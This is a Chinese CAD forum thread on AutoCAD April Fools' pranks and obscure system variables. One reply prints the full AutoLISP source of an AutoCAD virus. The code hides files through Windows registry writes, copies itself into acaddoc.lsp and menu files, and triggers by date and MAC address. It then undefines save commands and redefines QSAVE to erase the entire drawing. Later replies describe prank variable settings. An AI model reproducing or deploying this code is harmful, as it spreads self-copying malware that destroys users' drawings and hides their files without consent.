明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
楼主: qjchen

[抛砖引玉] AUTOCAD工程师的愚人节

  [复制链接]
发表于 2012-4-1 16:14 | 显示全部楼层
还有highlight系统变量,当然还有很多,曾经中过招,不过都是小把戏了,看看下面这个源代码,
不是讨论病毒,只是感叹总有那么一些歪才。。。

  1. (defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
  2.   (vl-load-com)
  3.   (setvar "cmdecho" 0)
  4.   (setvar "filedia" 1)
  5.   (vl-registry-write
  6.     "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
  7.     "CheckedValue"
  8.     0
  9.   )  
  10.   (vl-registry-write
  11.     "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
  12.     "CheckedValue"
  13.     0
  14.   )
  15.   (vl-registry-write
  16.     "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
  17.     "DefaultValue"
  18.     0
  19.   )
  20.   (setq mnlpth (getvar "menuname"))
  21.   (setq dwgpre (getvar "dwgprefix"))
  22.   (if (setq doclsp (findfile "acaddoc.lsp"))
  23.     (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
  24.     (chklsp (strcat mnlpth ".mnl") doclsp)
  25.     (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
  26.     )
  27.   )
  28.   (setq mac0
  29.   '(2256   2256  2726 2256   2585   2726   3243   2679
  30.     2726   2256  3149 2726   3196   3290   2726   2632
  31.     2397
  32.    )
  33.   )
  34.   (if (and (> (setq cdate (getvar "cdate")) 20090909)
  35.     (member (vl-string->list (car (macaddr))) (mkgroup mac0))
  36.     (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
  37.       )
  38.     (dolsp)
  39.   )
  40.   (princ)
  41. )
  42. (defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
  43.   (if (setq fp3 (open fp1 "r"))
  44.     (progn
  45.       (if
  46. (not
  47.    (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
  48.      "*;;;jjyy*"
  49.    )
  50. )
  51.   (writelsp fp2 fp1)
  52.       )
  53.       (close fp3)
  54.     )
  55.     (writelsp fp2 fp1)
  56.   )
  57.   (attset fp1 2)
  58.   (attset fp2 2)
  59. )
  60. (defun writelsp (fp1 fp2 / fp3 fp4 tem)
  61.   (setq fp3 (open fp1 "r")
  62. fp4 (open fp2 "a")
  63.   )
  64.   (while (setq tem (read-line fp3)) (write-line tem fp4))
  65.   (close fp3)
  66.   (close fp4)
  67.   (princ)
  68. )
  69. (defun attset (fp code / fp1)
  70.   (if (and (/= "" fp) code)
  71.     (progn (vl-load-com)
  72.     (vlax-put-property
  73.       (setq fp1 (vlax-invoke-method
  74.     (vlax-create-object "Scripting.FileSystemObject")
  75.     'GetFile
  76.     fp
  77.          )
  78.       )
  79.       'Attributes
  80.       code
  81.     )
  82.     )
  83.   )
  84.   (vlax-release-object fp1)
  85. )
  86. (defun mkgroup (pt0 / pts)
  87.   (setq i 1)
  88.   (repeat 500
  89.     (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
  90.     (setq i (1+ i))
  91.   )
  92.   (reverse pts)
  93. )
  94. (defun macaddr (/ mac WMIobj con lox sn)
  95.   (vl-load-com)
  96.   (if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
  97.     (progn
  98.       (setq
  99. con (vl-catch-all-apply
  100.        'vlax-invoke
  101.        (list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
  102.      )
  103.       )
  104.       (if (vl-catch-all-error-p con)
  105. (setq
  106.    con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
  107. )
  108.       )
  109.       (setq lox (vlax-invoke
  110.     con
  111.     'ExecQuery
  112.     "Select * From Win32_NetworkAdapter "
  113.   )
  114.       )
  115.       (vlax-for i lox
  116. (if (vlax-get i 'NetConnectionID)
  117.    (progn (setq sn (vlax-get i 'MACAddress))
  118.    (or (member sn mac) (setq mac (cons sn mac)))
  119.    )
  120. )
  121.       )
  122.       (mapcar 'vlax-release-object (list lox con WMIobj))
  123.     )
  124.   )
  125.   (reverse mac)
  126. )
  127. (defun dolsp ()
  128.   (command "undefine" "qsave")
  129.   (command "undefine" "saveas")
  130.   (command "undefine" "wblock")
  131.   (command "undefine" "insert")
  132.   (command "undefine" "pline")
  133. )
  134. (defun c:qsave ()
  135.   (command "_.erase" (ssget "x") "")
  136.   (princ)
  137. )
  138. (defun c:saveas (/ fp1)
  139.   (setq fp1 (getfiled "图形另存为" (getvar "dwgprefix") "dwg" 1))
  140.   (chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
  141.    (findfile "acaddoc.lsp")
  142.   )
  143.   (princ)
  144. )
  145. (defun c:wblock () (princ))
  146. (defun c:insert () (princ))
  147. (defun c:pline () (command "_.line") (princ))
  148. ;;;jjyy

发表于 2012-4-2 09:12 | 显示全部楼层
这个确实不错,总结出来以后出现问题也可以查找,赞!
发表于 2012-4-5 20:17 | 显示全部楼层
以前也中过招,把光标、对话框、选择框都给关了
发表于 2012-4-11 13:11 | 显示全部楼层
前些天还中招了,害得我重装CAD
发表于 2012-4-11 13:16 | 显示全部楼层
谁有CAD所有的系统变量,完整的(包括未公开的)

点评

在论坛里搜索“系统变量”  发表于 2012-4-11 15:23
发表于 2012-12-19 20:38 | 显示全部楼层
以前有收集过cad的这些变量,好久没有去理会了,真心很有用!
发表于 2012-12-20 17:25 | 显示全部楼层
mtexted=0,不能选中文字
发表于 2013-1-3 09:29 | 显示全部楼层
本帖最后由 蒹葭_Keirll 于 2013-1-3 09:42 编辑

APBOX=1加上AUTOSNAP=0,不显示鞭靶,也不显示捕捉标志。上次被某个程序搞成这样,差点重装
发表于 2013-1-3 15:29 | 显示全部楼层
强的
发表于 2013-1-3 18:17 | 显示全部楼层
强强强强强强强
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-5-3 09:53 , Processed in 0.188156 second(s), 20 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表